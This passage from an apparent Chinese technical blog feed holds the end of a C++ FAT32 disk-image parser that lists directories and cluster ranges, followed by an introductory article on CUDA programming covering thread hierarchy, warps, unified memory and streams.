        if (cluster_num &amp;gt;= m_header-&amp;gt;BPB_FATSz32 * 128) { // 近似检查
            throw Fat32Exception(&quot;Cluster number out of range&quot;);
        }
        return fat_table[cluster_num] &amp;amp; 0x0FFFFFFF; // 清除高4位
    }

    const void* cluster_to_sector(u32 cluster_num) const {
        u32 data_sector = m_header-&amp;gt;BPB_RsvdSecCnt + m_header-&amp;gt;BPB_NumFATs * m_header-&amp;gt;BPB_FATSz32;
        data_sector += (cluster_num - 2) * m_header-&amp;gt;BPB_SecPerClus;
        return reinterpret_cast&amp;lt;const u8*&amp;gt;(m_header) + data_sector * m_header-&amp;gt;BPB_BytsPerSec;
    }

    std::string get_filename(const DirectoryEntry* entry) const {
        std::string filename;
        filename.reserve(12); // 8.3格式
        // 解析8.3文件名格式
        for (int i = 0; i &amp;lt; 8; ++i) {
            if (entry-&amp;gt;DIR_Name[i] != &apos; &apos;) {
                filename += static_cast&amp;lt;char&amp;gt;(entry-&amp;gt;DIR_Name[i]);
            }
        }
        // 添加扩展名（如果有）
        if (entry-&amp;gt;DIR_Name[8] != &apos; &apos;) {
            filename += &apos;.&apos;;
            for (int i = 8; i &amp;lt; 11; ++i) {
                if (entry-&amp;gt;DIR_Name[i] != &apos; &apos;) {
                    filename += static_cast&amp;lt;char&amp;gt;(entry-&amp;gt;DIR_Name[i]);
                }
            }
        }
        return filename;
    }

    // 获取簇块范围
    ClusterRange get_cluster_range(u32 start_cluster) const {
        if (start_cluster == 0 || start_cluster &amp;gt;= CLUSTER_INVALID) {
            return ClusterRange(0, 0);
        }
        u32 cur = start_cluster;
        u32 first_cluster = start_cluster;
        u32 last_cluster = start_cluster;
        u32 cluster_count = 1;
        // 遍历簇链，找到连续或非连续的簇块范围
        while (true) {
            u32 next = next_cluster(cur);
            // 检查是否到达簇链末尾或无效簇
            if (next &amp;gt;= CLUSTER_INVALID || next == 0) {
                break;
            }
            // 如果是连续的簇，更新结束簇号
            if (next == last_cluster + 1) {
                last_cluster = next;
            } else {
                // 不连续，但我们继续统计总数
                last_cluster = next;
            }
            ++cluster_count;
            cur = next;
            // 安全限制，避免无限循环
            if (cluster_count &amp;gt; 100000) {
                break;
            }
        }
        return ClusterRange(first_cluster, last_cluster);
    }

    void dfs(u32 cluster_id, int depth, bool is_directory) const {
        for (; cluster_id &amp;lt; CLUSTER_INVALID; cluster_id = next_cluster(cluster_id)) {
            if (is_directory) {
                int entries_per_cluster = m_header-&amp;gt;BPB_BytsPerSec * m_header-&amp;gt;BPB_SecPerClus / sizeof(DirectoryEntry);
                for (int i = 0; i &amp;lt; entries_per_cluster; ++i) {
                    const DirectoryEntry* entry =
                        reinterpret_cast&amp;lt;const DirectoryEntry*&amp;gt;(cluster_to_sector(cluster_id)) + i;
                    // 跳过空条目、删除的条目和隐藏条目
                    if (entry-&amp;gt;DIR_Name[0] == 0x00 || entry-&amp;gt;DIR_Name[0] == 0xE5 ||
                        (entry-&amp;gt;DIR_Attr &amp;amp; static_cast&amp;lt;u8&amp;gt;(Attribute::HIDDEN))) {
                        continue;
                    }

                    std::string filename = get_filename(entry);
                    // 获取文件/目录的簇块范围
                    u32 data_cluster = entry-&amp;gt;DIR_FstClusLO | (entry-&amp;gt;DIR_FstClusHI &amp;lt;&amp;lt; 16);
                    ClusterRange range = get_cluster_range(data_cluster);
                    // 缩进显示目录结构
                    std::cout &amp;lt;&amp;lt; std::string(depth * 4, &apos; &apos;);
                    std::cout &amp;lt;&amp;lt; &quot;[&quot; &amp;lt;&amp;lt; filename &amp;lt;&amp;lt; &quot;]&quot;;
                    if (entry-&amp;gt;DIR_Attr &amp;amp; static_cast&amp;lt;u8&amp;gt;(Attribute::DIRECTORY)) {
                        std::cout &amp;lt;&amp;lt; &quot; &amp;lt;DIR&amp;gt;: &quot; &amp;lt;&amp;lt; range.to_string() &amp;lt;&amp;lt; &quot;\n&quot;;
                        // 跳过&quot;.&quot;和&quot;..&quot;目录的递归
                        if (filename != &quot;.&quot; &amp;amp;&amp;amp; filename != &quot;..&quot;) {
                            dfs(data_cluster, depth + 1, true);
                        }
                    } else {
                        std::cout &amp;lt;&amp;lt; &quot; &quot; &amp;lt;&amp;lt; entry-&amp;gt;DIR_FileSize &amp;lt;&amp;lt; &quot; bytes: &quot; &amp;lt;&amp;lt; range.to_string() &amp;lt;&amp;lt; &quot;\n&quot;;
                    }
                }
            } else {
                // 非目录文件的处理
                ClusterRange range = get_cluster_range(cluster_id);
                std::cout &amp;lt;&amp;lt; &quot;## &quot; &amp;lt;&amp;lt; cluster_id &amp;lt;&amp;lt; &quot;: &quot; &amp;lt;&amp;lt; range.to_string() &amp;lt;&amp;lt; &quot;\n&quot;;
            }
        }
    }
};

} // namespace fat32

int main(int argc, char* argv[]) {
    if (argc &amp;lt; 2) {
        std::cerr &amp;lt;&amp;lt; &quot;Usage: &quot; &amp;lt;&amp;lt; argv[0] &amp;lt;&amp;lt; &quot; fs-image\n&quot;;
        return 1;
    }

    try {
        fat32::Fat32Parser parser(argv[1]);
        parser.traverse_filesystem();
    } catch (const fat32::Fat32Exception&amp;amp; e) {
        std::cerr &amp;lt;&amp;lt; &quot;Error: &quot; &amp;lt;&amp;lt; e.what() &amp;lt;&amp;lt; &quot;\n&quot;;
        return 1;
    } catch (const std::exception&amp;amp; e) {
        std::cerr &amp;lt;&amp;lt; &quot;Unexpected error: &quot; &amp;lt;&amp;lt; e.what() &amp;lt;&amp;lt; &quot;\n&quot;;
        return 1;
    }

    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>CUDA 初识</title><link>https://blog.alinche.dpdns.org/posts/ai/cuda/cuda/</link><guid isPermaLink="true">https://blog.alinche.dpdns.org/posts/ai/cuda/cuda/</guid><description>CUDA初识</description><pubDate>Tue, 11 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;在当今计算密集型的世界里，无论是科学计算、人工智能还是大数据分析，我们对计算能力的需求都呈指数级增长。传统的CPU虽然在通用计算方面表现出色，但在处理大规模并行任务时却显得力不从心。这时，GPU（图形处理器）以其强大的并行处理能力脱颖而出，而CUDA(&lt;code&gt;Compute Unified Device Architecture&lt;/code&gt;，计算统一设备架构)正是释放这股力量的钥匙。&lt;/p&gt;
&lt;h2&gt;CUDA的意义和价值&lt;/h2&gt;
&lt;p&gt;CUDA是由NVIDIA推出的并行计算平台和编程模型。它允许开发者使用C++、Fortran等高级语言来利用GPU的计算能力，从而显著加速应用程序。&lt;/p&gt;
&lt;p&gt;其核心价值在于：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;大规模并行性&lt;/strong&gt;：GPU拥有数千个计算核心，能够同时执行数千个线程，这使得它在处理数据并行(&lt;code&gt;Data-Paralle&lt;/code&gt;)问题时具有无与伦比的优势。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;高内存带宽&lt;/strong&gt;：GPU配备了高带宽内存（如GDDR6或HBM），可以更快地读写数据，这对于数据密集型应用至关重要。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;简化的编程模型&lt;/strong&gt;：CUDA提供了&lt;strong&gt;相对友好&lt;/strong&gt;的编程接口，让开发者可以专注于算法逻辑，而无需深入了解GPU底层硬件的复杂细节，从零开始学习晦涩的硬件指令。。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;丰富的生态系统&lt;/strong&gt;：经过多年的发展，CUDA已经拥有了成熟的工具链、库（如cuBLAS, cuDNN, Thrust）和庞大的开发者社区，极大地降低了开发门槛。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;简而言之，CUDA是连接软件与GPU硬件之间的桥梁，让我们可以将计算密集型任务从CPU卸载到GPU，实现数量级的性能提升。&lt;/p&gt;
&lt;h2&gt;CUDA核心关键字解析&lt;/h2&gt;
&lt;p&gt;要编写CUDA程序，首先需要理解几个核心的关键字，它们定义了代码在何处执行以及数据的可见范围。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;__global__&lt;/code&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;含义&lt;/strong&gt;: 这是一个函数类型限定符，用于声明一个&lt;strong&gt;内核函数(Kernel Function)&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;执行位置&lt;/strong&gt;: 内核函数在GPU上执行，但由CPU代码调用。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;调用方式&lt;/strong&gt;: 使用特殊的三重尖括号语法 &lt;code&gt;&amp;lt;&amp;lt;&amp;lt;...&amp;gt;&amp;gt;&amp;gt;&lt;/code&gt; 来配置执行参数（如线程网格和线程块的维度）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;特性&lt;/strong&gt;: __global__函数的返回类型必须是 void。（这点很好理解，类比 lambda）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;__device__&lt;/code&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;含义&lt;/strong&gt;: 函数类型限定符，表示该函数只能在GPU上执行，并且只能被 &lt;code&gt;__global__&lt;/code&gt; 或其他的 &lt;code&gt;__device__&lt;/code&gt; 函数调用。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;执行位置&lt;/strong&gt;: GPU。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;价值&lt;/strong&gt;: __device__函数是实现GPU代码模块化和复用的基本工具，类似于常规C++中的普通函数。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;__shared__&lt;/code&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;含义&lt;/strong&gt;: 变量类型限定符，用于声明&lt;strong&gt;共享内存(Shared Memory)&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;生命周期与可见性&lt;/strong&gt;: &lt;code&gt;__shared__&lt;/code&gt; 内存由同一个线程块(Block)内的所有线程共享，且具有原子性。它的生命周期与线程块相同，当线程块执行完毕后，其占用的共享内存将被释放（和寄存器共用一块L1缓存）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;价值&lt;/strong&gt;: 共享内存位于GPU芯片上，访问速度远快于全局显存(Global Memory)，几乎与寄存器访问速度相当。它是实现线程块内线程高效通信和数据交换的关键，是许多高性能算法&lt;strong&gt;优化的核心&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;__constant__&lt;/code&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;含义&lt;/strong&gt;: 变量类型限定符，用于声明&lt;strong&gt;常量内存(Constant Memory)&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;特性&lt;/strong&gt;: 常量内存对于GPU上的所有线程都是&lt;strong&gt;只读&lt;/strong&gt;的。CPU可以写入数据到常量内存，但GPU内核函数不能修改它。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;价值&lt;/strong&gt;: 常量内存有特殊的缓存机制：当一个线程束(&lt;code&gt;Warp&lt;/code&gt; 32 threads)中的所有线程都访问常量内存的同一地址时，会触发一次广播，数据会同时发送给所有线程，效率极高。因此，它非常适合存储那些在内核执行期间不变的配置参数。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;CUDA线程层级：Grid &amp;gt; Block &amp;gt; Thread&lt;/h2&gt;
&lt;p&gt;理解CUDA的线程组织方式是编写高效内核的关键。CUDA以三层结构组织线程：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Grid (线程网格)&lt;/strong&gt;: 一次内核启动（Kernel Launch）的最高层级，由多个线程块组成。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Block (线程块)&lt;/strong&gt;: 一个Grid的组成单位，由多个线程组成。&lt;strong&gt;同一个Block内的所有线程可以相互协作&lt;/strong&gt;，例如通过共享内存（&lt;code&gt;__shared__&lt;/code&gt;）和同步操作（&lt;code&gt;__syncthreads()&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Thread (线程)&lt;/strong&gt;: 最基本的执行单元。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;通过 &lt;code&gt;&amp;lt;&amp;lt;&amp;lt;gridDim, blockDim, sharedMemSize, stream&amp;gt;&amp;gt;&amp;gt;&lt;/code&gt; 语法来配置这些维度。例如 &lt;code&gt;forkernel&amp;lt;&amp;lt;&amp;lt;dim3(20), dim3(1024), 0, stream1&amp;gt;&amp;gt;&amp;gt;&lt;/code&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;dim3(20)&lt;/code&gt;: 指定了Grid的维度。这里是一个一维Grid，包含20个Block。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dim3(1024)&lt;/code&gt;: 指定了每个Block的维度。这里是一个一维Block，包含1024个Thread。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0&lt;/code&gt;: 指定了动态分配的共享内存大小（以字节为单位），这里是0。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;stream1&lt;/code&gt;: 指定了该内核在哪个CUDA流上执行。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在内核函数内部，我们可以通过内置变量来获取当前线程的位置信息：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;gridDim&lt;/code&gt;: Grid的维度（&lt;code&gt;gridDim.x&lt;/code&gt;, &lt;code&gt;gridDim.y&lt;/code&gt;, &lt;code&gt;gridDim.z&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;blockDim&lt;/code&gt;: Block的维度（&lt;code&gt;blockDim.x&lt;/code&gt;, &lt;code&gt;blockDim.y&lt;/code&gt;, &lt;code&gt;blockDim.z&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;blockIdx&lt;/code&gt;: 当前线程所在Block在Grid中的索引（&lt;code&gt;blockIdx.x&lt;/code&gt;, ...）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;threadIdx&lt;/code&gt;: 当前线程在Block内的索引（&lt;code&gt;threadIdx.x&lt;/code&gt;, ...）。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;代码深度解析&lt;/h2&gt;
&lt;h3&gt;1.Grid-Stride循环 (网格步长循环)&lt;/h3&gt;
&lt;p&gt;在 &lt;code&gt;forkernel&lt;/code&gt; 函数中，我们使用了这样一种循环模式：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__global__ void forkernel(cuda::std::span&amp;lt;int&amp;gt; arr) {
    for (int i = blockIdx.x * blockDim.x + threadIdx.x; i &amp;lt; arr.size(); i += gridDim.x * blockDim.x) {
        arr[i] = arr[i] * arr[i];
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;int i = blockIdx.x * blockDim.x + threadIdx.x;&lt;/code&gt;&lt;/strong&gt;: 这一行计算了一个&lt;strong&gt;全局唯一&lt;/strong&gt;的线程ID。每个线程启动时，都会基于它在Grid和Block中的位置，计算出一个初始的索引 &lt;code&gt;i&lt;/code&gt;，用于处理数据中的一个元素。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;i &amp;lt; arr.size()&lt;/code&gt;&lt;/strong&gt;: 检查索引是否越界。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;i += gridDim.x * blockDim.x&lt;/code&gt;&lt;/strong&gt;: 这是该模式的核心。&lt;code&gt;gridDim.x * blockDim.x&lt;/code&gt; 是本次内核启动所创建的总线程数。当一个线程处理完第 &lt;code&gt;i&lt;/code&gt; 个元素后，它会跳过总线程数的距离，去处理下一个元素，即按网格总线程数进行步进。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;为什么这种模式如此重要？&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;可扩展性&lt;/strong&gt;: 它将线程数量与数据大小解耦。即使您启动的线程总数少于要处理的数据元素总数，该循环也能确保所有数据都被处理到。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;灵活性&lt;/strong&gt;: 您可以自由调整Grid和Block的大小，而无需修改内核逻辑，这对于性能调优非常方便。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;2. 内存层次与执行模型&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 所有的局部变量等于一个4B寄存器，如果寄存器不足则会放在全局显存(Global Memory)中，即memory-bound，
// 且需要注意所有取引用操作（buf[i]）都会导致变量只能放到内存，因为寄存器无地址的概念！（即GPU不能像CPU一样用引用减小开销，大多数情况下反而增大开销）
// 如果需要访问缓存导致memwait，则SM会去执行下一个warp（32个连续线程组成的固定大小执行单元，SIMT），实现隐藏延迟（类比异步I/O）
// 所以 mem-bound 需要减少 blockDim, compute-bound 需要增加 blockDim (类比CPU是否选择超线程)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;局部变量 与 寄存器&lt;/strong&gt;: 在内核函数中声明的普通局部变量（如 int i，其实类似于 thread_local 因为GPU上的最小变量就是thread），编译器会优先将它们分配到**寄存器(Register)&lt;strong&gt;中。寄存器是GPU上最快的存储单元，每个线程私有。但是寄存器数量有限，如果局部变量过多或者体积过大（例如一个大数组），编译器就会将它们“溢出”到&lt;/strong&gt;局部内存(Local Memory)**中。局部内存实际上是全局显存的一部分，访问速度很慢。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;取引用操作&lt;/strong&gt;: “取引用操作（如arr[i]）会导致变量只能放到内存”。这是因为&lt;strong&gt;寄存器没有地址的概念&lt;/strong&gt;，无法对其进行引用或指针操作。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;线程束(&lt;code&gt;Warp&lt;/code&gt;) 与 流多处理器(&lt;code&gt;SM&lt;/code&gt;)&lt;/strong&gt;: GPU的执行模型是 &lt;strong&gt;&lt;code&gt;SIMT&lt;/code&gt;(Single-Instruction, Multiple-Thread，单指令多线程)&lt;/strong&gt;。&lt;code&gt;Warp&lt;/code&gt;是&lt;code&gt;SM&lt;/code&gt;(&lt;code&gt;Streaming Multiprocessor&lt;/code&gt;)上的最基本执行单位，会以32个线程为一组来调度，这一组被称为一个&lt;strong&gt;线程束(&lt;code&gt;Warp&lt;/code&gt;)&lt;/strong&gt;。一个Warp中的32个线程在同一时刻执行 &lt;strong&gt;&lt;code&gt;完全相同的指令&lt;/code&gt;&lt;/strong&gt;，这与CPU的SIMD（单指令多数据）在思想上高度一致。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;例如，一个 dim3(1024) 的Block，在硬件层面会被看作是 1024/32=32 个Warp。如果一个Block的线程数不是32的倍数，比如100，它将被划分为 ceil(100/32)=4 个Warp，其中最后一个Warp会有 28 个线程是“非活动”的，但它们依然会占用调度资源！（可以把Warp类比为一辆只能坐32个工人的车，SM按车来派活）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;线程束分化(Warp Divergence) 与 &lt;code&gt;Mask&lt;/code&gt;&lt;/strong&gt;: 如果Warp内发生分支（如 if-else），且不同线程进入不同分支，就会产生线程束分化。此时，硬件会依次执行每一个分支路径，并通过&lt;code&gt;Mask&lt;/code&gt;&lt;strong&gt;禁用不在当前路径上的线程&lt;/strong&gt;。这会导致部分计算资源被闲置，应尽量避免（但其实并没有CPU流水线那么担心分支问题，因为GPU没有像CPU那样复杂的乱序执行和分支预测流水线，其代价是&lt;strong&gt;可预期的串行化执行&lt;/strong&gt;）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;内存等待(Memory Wait) 与 延迟隐藏(Latency Hiding)&lt;/strong&gt;: 当一个Warp执行访存指令（如 &lt;code&gt;arr[i] = ...&lt;/code&gt;）时，需要从显存中读取或写入数据。这个过程有很高的延迟。为了隐藏这些延迟，SM会立刻切换到另一个&lt;strong&gt;准备就绪(Ready)&lt;strong&gt;的Warp去执行计算指令，而不是原地等待。只要有足够多的活动Warp&lt;/strong&gt;可供调度&lt;/strong&gt;，SM的计算单元就能始终保持忙碌，从而掩盖了访存延迟。这就是GPU实现高吞吐量的关键。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;性能调优启发式规则&lt;/strong&gt;: 资源占用率 &amp;amp; 延迟隐藏&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Memory-Bound&lt;/code&gt;&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;瓶颈&lt;/strong&gt;：等待数据从全局显存中读写。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;策略&lt;/strong&gt;：&lt;strong&gt;最大化SM上的活动Warp总数&lt;/strong&gt;（即提高占用率Occupancy），以最大限度地&lt;strong&gt;隐藏内存延迟&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;适当地减少 blockDim(Block中的线程数) 是实现这一目标的有效手段之一，因为每一个Block需要的寄存器数减少，SM就可能能容纳更多的Block，提高占用率就可能提高了 Warp 数量来隐藏内存延迟。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Compute-Bound&lt;/code&gt;&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;瓶颈&lt;/strong&gt;：ALU（算术逻辑单元）的处理速度。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;策略&lt;/strong&gt;：为编译器提供最大的&lt;strong&gt;优化空间&lt;/strong&gt;，并&lt;strong&gt;减少调度开销&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;在硬件限制内增加 blockDim 是实现这一目标的有效手段之一，一个较大的Block意味着它包含更多的Warp，这使得SM可以在一个Block内部进行大量的Warp切换和指令级并行优化，而无需频繁地加载和卸载Block的上下文。而且还减少了寄存器“溢出”到全局显存的可能性。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;P.S. 与CPU超线程的类比：CPU核心开启超线程，是为了在一个物理核心上模拟出两个逻辑核心。当一个线程因为缓存未命中而停顿时，物理核心可以&lt;strong&gt;立即&lt;/strong&gt;去执行另一个线程的指令。这与GPU SM通过切换Warp来&lt;strong&gt;隐藏内存延迟&lt;/strong&gt;的思想是完全一致的，都是为了榨干计算单元的每一个时钟周期。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;统一内存 (Unified Memory)&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;GPU的MMU也以页(Page)为单位来管理内存。一个页是虚拟地址到物理地址映射的最小单元。不同的是GPU一般采用2MB大页，便于访问大块连续内存，显著降低地址翻译的开销。&lt;/li&gt;
&lt;li&gt;GPTE.Dirty&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;统一内存的“按需页面迁移 (On-Demand Page Migration)”工作流：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;初始状态&lt;/strong&gt;：&lt;code&gt;std::vector&lt;/code&gt;在主机端创建，数据物理上在主机RAM中。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GPU访问(缺页中断)&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;GPU内核首次尝试访问某个地址。&lt;/li&gt;
&lt;li&gt;GPU MMU发现这个虚拟地址对应的页面不在VRAM中，触发&lt;strong&gt;缺页中断(Page Fault)&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CUDA驱动&lt;/code&gt; 捕获中断，在VRAM中分配一个物理页，将数据从主机RAM拷贝到VRAM。&lt;/li&gt;
&lt;li&gt;驱动更新页表，将虚拟地址映射到新的VRAM物理地址。&lt;/li&gt;
&lt;li&gt;中断返回，GPU内核从刚才中断的指令处继续执行，此时访问成功。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GPU写入&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;GPU内核对该页面进行写操作。&lt;/li&gt;
&lt;li&gt;硬件自动将该页面的GPTE中的&lt;strong&gt;Dirty位置为1&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CPU再次访问&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;当主机代码需要访问这块内存时，&lt;code&gt;CUDA驱动&lt;/code&gt;会检查页表。&lt;/li&gt;
&lt;li&gt;它发现这个页面现在位于VRAM中，并且Dirty位为1。&lt;/li&gt;
&lt;li&gt;驱动明白，最新的数据在VRAM里。于是它会把这个页面从VRAM&lt;strong&gt;拷贝回&lt;/strong&gt;主机RAM，然后CPU才能安全地访问。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这个机制与现代操作系统的虚拟内存管理几乎如出一辙，只是它协调的是CPU和GPU这两个异构处理器之间的内存一致性。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;优化&lt;/strong&gt;:&lt;/p&gt;
&lt;h3&gt;3. CUDA Stream 的本质是什么？&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;本质上，一个CUDA Stream就是一个先进先出(FIFO)的异步任务队列&lt;/strong&gt;。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;发布任务(Asynchronous Call)&lt;/strong&gt;：CPU作为生成者，将一个个任务（如 &lt;code&gt;cudaMemcpyAsync&lt;/code&gt;、内核启动 &lt;code&gt;kernel&amp;lt;&amp;lt;&amp;lt;...&amp;gt;&amp;gt;&amp;gt;&lt;/code&gt;）放到任务队列上。这些API调用是&lt;strong&gt;异步&lt;/strong&gt;的，意味着CPU把任务放入队列后，就&lt;strong&gt;立即返回&lt;/strong&gt;，继续执行自己的代码，而不会等待任务完成。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GPU执行任务&lt;/strong&gt;：GPU作为消费者，按顺序取下任务并执行。只要有可用GPU硬件资源，GPU就可以&lt;strong&gt;同时从不同的任务队列上取任务来执行&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;顺序保证&lt;/strong&gt;：在同一个Stream上，任务的&lt;strong&gt;开始执行顺序&lt;/strong&gt;严格按照入队顺序进行。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;核心价值&lt;/strong&gt;：实现&lt;strong&gt;计算与数据传输的重叠(&lt;code&gt;Overlap&lt;/code&gt;)&lt;/strong&gt;。
这是CUDA性能优化的一个关键技巧，可以：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在&lt;code&gt;stream1&lt;/code&gt;上启动一个数据拷贝任务（CPU -&amp;gt; GPU）。&lt;/li&gt;
&lt;li&gt;同时，在&lt;code&gt;stream2&lt;/code&gt;上启动一个计算密集型的内核（它处理的是上一次拷贝来的数据）。&lt;/li&gt;
&lt;li&gt;同时，在&lt;code&gt;stream3&lt;/code&gt;上启动一个数据回传任务（GPU -&amp;gt; CPU）。
只要硬件资源允许（比如GPU有独立的Copy Engine和Compute Engine），这三个操作就可以真正地并行执行，从而掩盖数据传输的开销，最大化GPU的利用率。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4. warp级原语&lt;/h3&gt;
&lt;p&gt;在CUDA中，同一个&lt;strong&gt;线程块 (Block)&lt;/strong&gt; 内的线程间通信，标准方式是使用 &lt;code&gt;__shared__&lt;/code&gt; 内存：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;线程A将数据写入 &lt;code&gt;__shared__&lt;/code&gt; 内存中的某个位置。&lt;/li&gt;
&lt;li&gt;调用 &lt;code&gt;__syncthreads()&lt;/code&gt; 确保块内所有线程都完成了写入操作。&lt;/li&gt;
&lt;li&gt;线程B从 &lt;code&gt;__shared__&lt;/code&gt; 内存中读取线程A写入的数据。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这个过程有两个开销：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;内存延迟&lt;/strong&gt;：访问 &lt;code&gt;__shared__&lt;/code&gt; 内存虽然比全局显存快得多，但仍比访问&lt;strong&gt;寄存器 (Register)&lt;/strong&gt; 慢。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;同步开销&lt;/strong&gt;：&lt;code&gt;__syncthreads()&lt;/code&gt; 是一个重量级路障，它会暂停整个Block的执行，直到所有线程都到达该点。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;然而，在一个Warp（32个线程）内部，由于所有线程在物理上是同步执行的（SIMT），我们其实&lt;strong&gt;不需要&lt;/strong&gt;重量级的 &lt;code&gt;__syncthreads()&lt;/code&gt; 来进行同步。Warp级原语(&lt;code&gt;Intrinsics&lt;/code&gt;)正是利用了这一点，允许Warp内的线程&lt;strong&gt;直接通过寄存器网络交换数据&lt;/strong&gt;，完全绕过了共享内存。这带来了极致的速度。&lt;/p&gt;
&lt;h4&gt;&lt;strong&gt;&lt;code&gt;__shfl_sync&lt;/code&gt;&lt;/strong&gt;&lt;/h4&gt;
